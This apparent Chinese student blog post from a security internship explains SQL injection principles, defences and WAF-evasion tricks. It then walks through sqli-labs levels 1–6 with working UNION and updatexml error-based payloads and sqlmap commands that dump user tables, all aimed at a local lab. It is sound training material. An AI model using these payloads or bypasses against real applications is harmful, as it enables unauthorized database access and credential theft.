集中实习第五天

一、总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法

1.SQL注入原理

SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

2.SQL注入常用函数及含义

  1. UNION:

    • 用途:合并两个或多个SELECT语句的结果集。
    • 示例:SELECT column1 FROM table1 UNION SELECT column2 FROM table2;
  2. UNION SELECT:

    • 用途:通常与UNION一起使用,用于在注入点添加额外的查询,以检索或测试数据库中的其他数据。
    • 示例:' UNION SELECT version(), user() --
  3. SELECT:

    • 用途:从数据库表中检索数据。
    • 示例:SELECT * FROM users;
  4. GROUP_CONCAT (MySQL):

    • 用途:返回一个字符串,该字符串是串联起来的非NULL值的集合。
    • 示例:SELECT GROUP_CONCAT(username, password) FROM users;
  5. CONCAT:

    • 用途:将两个或多个字符串连接成一个字符串。
    • 示例:SELECT CONCAT(username, ':', password) FROM users;
  6. SUBSTRING:

    • 用途:从字符串中提取子串。
    • 示例:SELECT SUBSTRING(password, 1, 1) FROM users;
  7. ASCII:

    • 用途:返回字符的ASCII码值。
    • 示例:SELECT ASCII('A');
  8. LENGTH:

    • 用途:返回字符串的长度。
    • 示例:SELECT LENGTH(password) FROM users;
  9. IF:

    • 用途:条件判断函数,根据条件返回不同的值。
    • 示例:SELECT IF(LENGTH(password)>5, 'Strong', 'Weak') FROM users;
  10. SLEEP (MySQL) / pg_sleep (PostgreSQL):

    • 用途:使当前会话暂停执行指定的时间(秒)。
    • 示例:SELECT SLEEP(5);
  11. BENCHMARK (MySQL):

    • 用途:重复执行一个表达式多次,用于测试性能。
    • 示例:SELECT BENCHMARK(1000000, MD5('test'));
  12. LOAD_FILE (MySQL):

    • 用途:读取服务器上的文件内容。
    • 示例:SELECT LOAD_FILE('/etc/passwd');
  13. USER():

    • 用途:返回当前数据库连接的用户名。
    • 示例:SELECT USER();
  14. VERSION():

    • 用途:返回数据库服务器的版本。
    • 示例:SELECT VERSION();
  15. DATABASE():

    • 用途:返回当前数据库的名称。
    • 示例:SELECT DATABASE();

3.SQL注入防御手段

(1)编码层面防御:
  1. 使用预编译的语句(Prepared Statements)

    • 预编译的语句可以确保用户输入被当作参数处理,而不是SQL代码的一部分,从而有效防止SQL注入。
  2. 使用存储过程

    • 存储过程可以减少直接在应用程序中拼接SQL语句的需要,同时能够提供参数化查询。
  3. 使用ORM(对象关系映射)

    • ORM工具通常自动使用参数化查询,减少直接书写SQL语句,降低SQL注入风险。
(2)输入验证和过滤:
  1. 严格验证输入

    • 对所有用户输入进行严格的验证,只接受符合预期格式和类型的数据。
    • 使用正则表达式来限制输入格式。
  2. 类型检查和强制转换

    • 在将输入用于SQL查询之前,进行类型检查和强制转换。
  3. 使用安全的API和函数

    • 使用库和框架提供的API,这些API通常会提供防止SQL注入的机制。
(3)其他防御措施:
  1. 最小权限原则

    • 数据库连接应该使用权限最低的账户,仅提供执行必要操作所需的权限。
  2. 错误处理

    • 避免在用户界面上直接显示数据库错误信息,防止泄露数据库结构或提供攻击线索。
  3. 使用Web应用防火墙(WAF)

    • WAF可以检测和阻止常见的SQL注入攻击模式。
  4. 安全配置数据库

    • 确保数据库系统配置得当,关闭不必要的特性,限制远程访问。
  5. 定期的安全审计和测试

    • 定期进行代码审计和安全测试,使用自动化工具和手动测试来发现潜在的安全漏洞。
  6. 数据加密

    • 对敏感数据进行加密存储,即使数据被泄露,攻击者也无法直接读取。
  7. 使用数据库防火墙

    • 数据库防火墙可以监控数据库活动,检测并阻止异常行为。
  8. 限制数据库功能

    • 禁用或限制数据库中可能被用于SQL注入攻击的功能,如存储过程、触发器等。

4.SQL注入常用绕过waf的方法

方法1:变换大小写

比如WAF拦截了union,那就是用Union、UnIoN等方式绕过。

方法2:编码
  • WAF检测敏感字‘~’,则可以用编码0x7e代替
  • WAF检测敏感字select,则可以在URL中将select变成%73elEcT,编码接合大小写变换绕过WAF
  • 可以用%09、%0a、%0b、%0c、%0d、%a0、/**/、/*somewords*/等来替换空格
方法3:利用注释符
  • 适用于WAF只过滤了一次危险的语句,没有阻断整个查询语句的场合。
  • 原查询语句为:?id=1 union select 1,2,3 对于这条查询,WAF过滤了一次union和select,我们可以在原查询语句union和select之前再写一个注释的语句,让WAF把注释里面的过滤掉,

?id=1/*union*/union/*select*/select 1,2,3

方法4:重写
  • 适用于WAF只过滤一次敏感字的情况
  •  WAF过滤敏感字union,但只过滤一次,则可以写出类似ununionion这样的,过滤一次union后就会执行我们的查询了:?id=1 ununionion select 1,2,3
方法5:比较操作符替换

适用于某一比较操作符(如等号)被过滤的情况

!=不等于,<>不等于,<小于,>大于,这些都可以用来替换 = 来绕过。

/?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))>73
 
/?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))<75

WAF将=、>、<、全部过滤,则可以利用like来绕过 

?id=1' or 1 like 1

方法6:同功能函数替换
  • 适用于某一函数被过滤的情况。
  • 假如substring()被WAF过滤,但substring()可以用同功能的mid(),substr等函数来替换,都是用来取字符串的某一位字符的。

原查询语句

substring((select 'password'),1,1)=0x70
 

替换后的查询语句

substr((select 'password'),1,1)=0x70
mid((select 'password'),1,1)=0x70

方法7:盲注的活用

适用于页面无回显或多种函数、逻辑运算符被过滤的情况

  • strcmp(expr1,expr2)用来比较两个值,如果expr1=expr2,则函数返回0,expr1<expr2则返回-1,expr1>expr2则返回1。
  • 假如index.php?uid=123页面返回是正确的,但WAF过滤了and和or,原查询语句index.php?uid=123 and left((select hash from users limit 0,1),1)='B',可用index.php?uid=strcmp(left((select hash from users limit 0,1),1),0x42)+123来替换,通过盲猜hash的第一位,如果第一位等于0x42也就是B,那么strcmp()将返回0,0+123=123,所以页面应该是正确的。否则就说明不是B,这样猜就不用and和or了。
 方法8:二阶注入 

所谓二阶注入(又称存储型注入)是指已存储(数据库、文件)的用户输入被读取后再次进入到SQL查询语句中导致的注入。

二阶注入与普通注入的区别

  • 普通SQL注入:发生在一个HTTP请求和响应中,对系统的攻击是立即执行的:(1)攻击者在http请求中提交非法输入;(2)应用程序处理非法输入,使用非法输入构造SQL语句;(3)在攻击过程中向攻击者返回结果。
  • 二阶SQL注入:(1)攻击者在http请求中提交某种经过构思的输入;(2)应用程序存储该恶意输入(通常保存在数据库中)以便后面使用并响应请求;(3)攻击者提交第二次(不同的)http请求;(4)为处理第二次http请求,程序会检索存储在数据库中的恶意输入并进行处理,从而导致攻击者构造的SQL查询被执行;(5)如果攻击成功,在第二次请求响应中向攻击者返回查询结果。                      
方法9:宽字节注入

适用于数据库使用双字节编码方式(如GBK)WAF利用AddSlashes()等函数对敏感字符进行转义的场景。(利用字符编码的不统一)
背景:

  • 统一的国际规范的理想状态:程序都使用Unicode编码,所有的网站都使用UTF-8编码。
  • 现状:国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编码,比如GBK。也有一些cms为了考虑老用户,所以出了GBK和UTF-8两个版本。

二、sqli-labs通关前5关

第一关

输入?id=1进行尝试,发现存在注入点

加入’,判断为字符型注入

然后使用order by语句来判断数据库表格的列数,在测试到3时都显示正常,当测试到4时出现报错,所以列数为3

接下来使用联合查询语句?id=-1'union select 1,2,3--+判断字段在前端的回显位置

知道回显位置后,可以获取数据库名和版本

然后查询数据库表名

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

然后去查看users表中的内容,可知敏感信息时username和password

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

然后查找其具体内容

?id=-1' union select 1,2,group_concat(username , password) from users--+

第二关

同样尝试输入?id=1

输入‘,发现报错,推测为数字型注入

然后使用order by语句判断有3列

使用联合查询union select 判断回显位置

查询数据库名

查询数据库中表名

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

查询user表

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

查询数据

?id=-1 union select 1,2,group_concat(username , password) from users

第三关

判断类型,使用单引号报错,推断出sql语句是单引号字符型,闭合需要考虑括号

使用order by语句判断列数为3

判断回显

?id=-1') union select 1,2,3--+

查看数据库名和版本

查看数据库中表

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

查找列名

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查看数据

?id=-1') union select 1,2,group_concat(username ,password) from users--+

第四关

输入?id=1”时报错

使用order by判断列数

查看回显位置

?id=-1") union select 1,2,3--+

显示数据库名和版本

?id=-1") union select 1,database(),version()--+

查看表

?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

查找列名

?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查数据

?id=-1") union select 1,2,group_concat(username , password) from users--+

第五关

没有回显

使用order by查询字段数为3

没有回显,选择爆破注入

?id=1' and updatexml(1,concat(0x7e,database(),0x7e,version()),1) --+

查看security库所有表名

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,32)),1)--+

查找列名

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,32)),1) --+

查数据

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,id,password) from users),1,30)),1) --+

三、总结SQLi的手工注入的步骤

1) 判断是否存在注⼊点

1、登录 2、注册 3、留⾔ 4、验证⽤户身份所属 5、查询某⽇xx信息 6、订单操作 ……

2) 判断字段数量

在注⼊点后⾯添加语句【 order by int】,int的值可以是任意数字,但是⼀个数据表的字段数量通常不 超过10,若传的int值⼩于等于字段数量则正常回显,若⼤于字段数量,则⽆法正常回显

'order by number--+

-- 注释

在SQL中,--是一种单行注释的开始。但是,--后面必须紧跟一个空格(或其他非数字、非字母的字符),之后的所有内容才会被当作注释处理。所以如果--后面直接跟了数字、字母或某些特殊字符(不包括空格),那么它不会被视为注释的开始,SQL解析器会尝试将--作为查询的一部分来解析。

3)判断字段前端回显位置

在链接后⾯添加语句【 union select 1,2,3,4,5,6,7,8,9,10,#】进⾏联合查询来暴露可查询的字段号,看哪 些字段是可以返回给我们前端进⾏渲染的,不进⾏返回的字段我们⽆法利⽤

4) 判断数据库信息

  1. 利⽤内置函数暴数据库信息
  2. version() -- 版本;
  3. database() -- 数据库;
  4. user() -- ⽤户;
  5. 不⽤猜解可⽤字段暴数据库信息(有些⽹站不适⽤)
  6. and 1=2 union all select version() and 1=2
  7. union all select database() and 1=2
  8. union all select user()
  9. 操作系统信息:
  10. and 1=2 union all select @@global.version_compile_os from mysql.user
  11. 数据库权限:
  12. and ord(mid(user(),1,1))=114 -- 返回正常说明为root

5) 查找数据库名

Mysql 5 以上有内置库 information_schema 存储着mysql的所有数据库和表结构信息

union select information_schema from info rmation_schema.schemata (语句在显示位)

6)查找数据库表名

union select group_concat(table_name) from information_schema.tables where table_schema=database()--+

7)查找列名

-1' union select 1,(select group_concat(column_name) from information_schem a.columns where table_name='biaoming'),3,4#

8)查数据

-1' union select 1,(select columnsname from tablename),3,4#

四、使用sqlmap通过或验证第六关

使用python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-6/?id=1扫出注入漏洞

爆数据库

python .\sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-6/?id=1" --batch -dbs

查security数据库的表

python sqlmap.py -u 'http://127.0.0.1/sqli-labs-master/Less-6/?id=1' -D 'security' --tables

查询数据

python sqlmap.py -u 'http://127.0.0.1/sqli-labs-master/Less-6/?id=1' -D 'security' -T 'users' --dump

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值